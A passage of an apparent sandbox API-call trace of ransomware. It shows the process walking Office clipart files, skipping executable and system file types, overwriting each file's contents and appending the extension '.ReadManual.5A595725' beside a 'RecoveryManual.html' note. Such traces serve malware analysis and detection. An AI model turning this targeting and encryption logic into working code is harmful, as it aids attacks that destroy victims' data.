out: lpString1="BD00141_.WMF") returned="BD00141_.WMF" [0260.478] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.478] StrStrIW (lpFirst="BD00141_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.478] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.478] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.478] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" [0260.478] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ReadManual.5A595725" [0260.478] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ReadManual.5A595725") returned 87 [0260.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38114689111) returned 1 [0260.478] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0260.478] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.479] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26886) returned 1 [0260.479] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6906, lpName=0x0) returned 0x184 [0260.479] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.479] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.480] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.481] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.482] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6906) returned 0x2f0000 [0260.482] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.482] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38115071638) returned 1 [0260.482] CloseHandle (hObject=0x184) returned 1 [0260.482] SetSecurityInfo () returned 0x57 [0260.482] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.482] CloseHandle (hObject=0x194) returned 1 [0260.483] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0260.483] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00146_.WMF" | out: lpString1="BD00146_.WMF") returned="BD00146_.WMF" [0260.483] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.483] StrStrIW (lpFirst="BD00146_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.483] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.483] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.483] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" [0260.483] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ReadManual.5A595725" [0260.484] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ReadManual.5A595725") returned 87 [0260.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38115234013) returned 1 [0260.484] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0260.484] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.484] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28948) returned 1 [0260.484] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7114, lpName=0x0) returned 0x184 [0260.484] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.485] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.485] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.486] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.486] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7114) returned 0x2f0000 [0260.486] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.487] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38115534817) returned 1 [0260.487] CloseHandle (hObject=0x184) returned 1 [0260.487] SetSecurityInfo () returned 0x57 [0260.487] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.487] CloseHandle (hObject=0x194) returned 1 [0260.488] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0260.488] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00155_.WMF" | out: lpString1="BD00155_.WMF") returned="BD00155_.WMF" [0260.488] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.488] StrStrIW (lpFirst="BD00155_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.488] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.488] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.488] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" [0260.488] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ReadManual.5A595725" [0260.488] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ReadManual.5A595725") returned 87 [0260.488] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38115701027) returned 1 [0260.488] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0260.488] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.489] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11636) returned 1 [0260.489] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d74, lpName=0x0) returned 0x184 [0260.489] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.489] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.489] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.493] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.494] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d74) returned 0x2f0000 [0260.494] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38116262823) returned 1 [0260.494] CloseHandle (hObject=0x184) returned 1 [0260.494] SetSecurityInfo () returned 0x57 [0260.494] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.494] CloseHandle (hObject=0x194) returned 1 [0260.495] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0260.495] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00160_.WMF" | out: lpString1="BD00160_.WMF") returned="BD00160_.WMF" [0260.495] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.495] StrStrIW (lpFirst="BD00160_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.495] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.495] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.495] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" [0260.495] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ReadManual.5A595725" [0260.495] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ReadManual.5A595725") returned 87 [0260.495] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38116419795) returned 1 [0260.495] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0260.496] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.497] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22516) returned 1 [0260.497] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x57f4, lpName=0x0) returned 0x184 [0260.497] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.497] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.497] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.499] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.499] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x57f4) returned 0x2f0000 [0260.499] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.499] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38116822148) returned 1 [0260.499] CloseHandle (hObject=0x184) returned 1 [0260.500] SetSecurityInfo () returned 0x57 [0260.500] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.500] CloseHandle (hObject=0x194) returned 1 [0260.500] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0260.500] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00173_.WMF" | out: lpString1="BD00173_.WMF") returned="BD00173_.WMF" [0260.501] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.501] StrStrIW (lpFirst="BD00173_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.501] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.501] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.501] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" [0260.501] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ReadManual.5A595725" [0260.501] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ReadManual.5A595725") returned 87 [0260.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38116983913) returned 1 [0260.501] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0260.501] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.502] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16180) returned 1 [0260.502] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f34, lpName=0x0) returned 0x184 [0260.502] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.502] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.502] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.504] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.504] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f34) returned 0x2f0000 [0260.505] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.505] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38117348639) returned 1 [0260.505] CloseHandle (hObject=0x184) returned 1 [0260.505] SetSecurityInfo () returned 0x57 [0260.505] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.505] CloseHandle (hObject=0x194) returned 1 [0260.506] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0260.506] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD05119_.WMF" | out: lpString1="BD05119_.WMF") returned="BD05119_.WMF" [0260.506] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.506] StrStrIW (lpFirst="BD05119_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.506] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.506] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.506] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" [0260.506] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft 